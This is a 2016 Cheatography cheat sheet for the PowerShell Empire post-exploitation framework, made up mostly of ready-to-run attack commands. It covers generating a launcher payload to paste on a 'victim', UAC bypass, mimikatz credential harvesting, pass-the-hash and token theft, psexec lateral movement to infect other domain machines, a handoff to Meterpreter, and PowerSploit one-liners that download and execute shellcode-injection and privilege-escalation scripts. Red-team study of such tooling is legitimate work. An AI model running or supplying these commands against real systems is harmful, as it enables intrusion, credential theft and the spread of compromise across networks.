Powershell Empire Cheat Sheet

by fred via cheatography.com/22666/cs/9078/

Resources

Official Site - http://www.powershellempire.com
Indepth Tutorial + Word Excel Macro Example - https://www.youtube.com/watch?v=aDeJBe6eqps
~39:30 - BSides DC 2015 - Bridging the Gap: Lessons in Adversarial Tradecraft https://www.youtube.com/watch?v=xHkRhRo3l8o
Offensive Active Directory with Powershell https://www.youtube.com/watch?v=cXWtu-qalSs

Installation

```
git clone https://github.com/powershellempire/empire
sudo apt-get install python-pip python-openssl
cd empire
cd setup
sudo ./install.sh
```

Execution & Exploitation

Create listener and generate Base64 cmd payload

```
sudo ./empire
listeners
set Name listenername
execute
usestager launcher listenername
```

`execute` (generate payload, copy & paste into cmd on Windows victim)

```
agents
```

Execution & Exploitation (cont)

Note: Type in `usestager` then hit TAB twice for more options.

Post Exploitation

```
agents
interact AGENTNAME
sysinfo
usemodule situational_awareness/network/arpscan
set Range 10.0.0.0-10.0.0.255
execute
...
usemodule situational_awareness/network/reverse_dns
set Range 10.0.0.0-10.0.0.255
execute
...
usemodule situational_awareness/network/powerview/user_hunter
execute
...
usemodule situational_awareness/network/powerview/share_finder
set CheckShareAccess True
execute
...
agents
interact AGENTNAME
bypassuac LISTENERNAMEy
```

...wait for agent now active to appear...

Post Exploitation (cont)

`agents` (look for a user with * as this indicates admin)
`interact AGENTNAME`
`mimikatz` (collect creds, etc...)
`creds`
`dir \\COMPUTERNAME\C$`
`creds`
`pth 1` (passthehash using cred 1, a PID will be created)
`steal_token PIDNUM`
`dir \\COMPUTERNAME\C$`

Lateral Movement

```
usemodule situational_awareness/network/powerview/find_localadmin_access
info
```

`execute` (computer-names vulnerable to psexec will appear)

```
usemodule lateral_movement/invoke_psexec
info
set Listener test1
set ComputerName WIN10COMP.blah.com
```

(machine to attack)

```
info
execute
```

You can repeat the above process to infect other computers on the domain.

Connect to a Meterpreter Multi-Handler

Start your meterpreter multi handler, then do the following:
`interact NAME` (target name from the 'agents' menu)
`usemodule code_execution/invoke_shellcode`
`info`
`set lhost IPADDRESS` (the IP in your multi-handler session)
`set lport PORT` (the port in your multi-handler session)
`execute` (wait...)
(a meterpreter session will appear in metasploit)

Powersploit

Source - https://github.com/PowerShellMafia/PowerSploit/
Demos
User Hunting - https://www.sixdub.net/?p=591
Reverse meterpreter shell - DLL Injection using PowerSploit and Metasploit https://www.youtube.com/watch?v=yKoD5Oy8CKQ
PowerShell Toolkit: PowerSploit - Gaining Shells Without Writing To Disk https://www.youtube.com/watch?v=LEll6qa-REY

Cheatography

Powershell Empire Cheat Sheet

by fred via cheatography.com/22666/cs/9078/

Powersploit Example

```
cmd
powershell
IEX (New-Object Net.WebClient).DownloadStri-
ng("https://github.com/PowerShellMafia/Powe-
rSploit/raw/master/CodeExecution/Invoke-Sh-
ellcode.ps1")
```

Powersploit Priv Esc

```
cmd
powershell
IEX (New-Object Net.WebClient).DownloadStri-
ng("https://raw.githubusercontent.com/Power-
ShellMafia/PowerSploit/master/Privesc/Powe-
rUp.ps1")
IEX (New-Object Net.WebClient).DownloadStri-
ng("https://raw.githubusercontent.com/Power-
ShellMafia/PowerSploit/master/Privesc/Priv-
esc.psd1")
Invoke-AllChecks
```

By **fred**
cheatography.com/fred/

Published 12th September, 2016.
Last updated 12th September, 2016.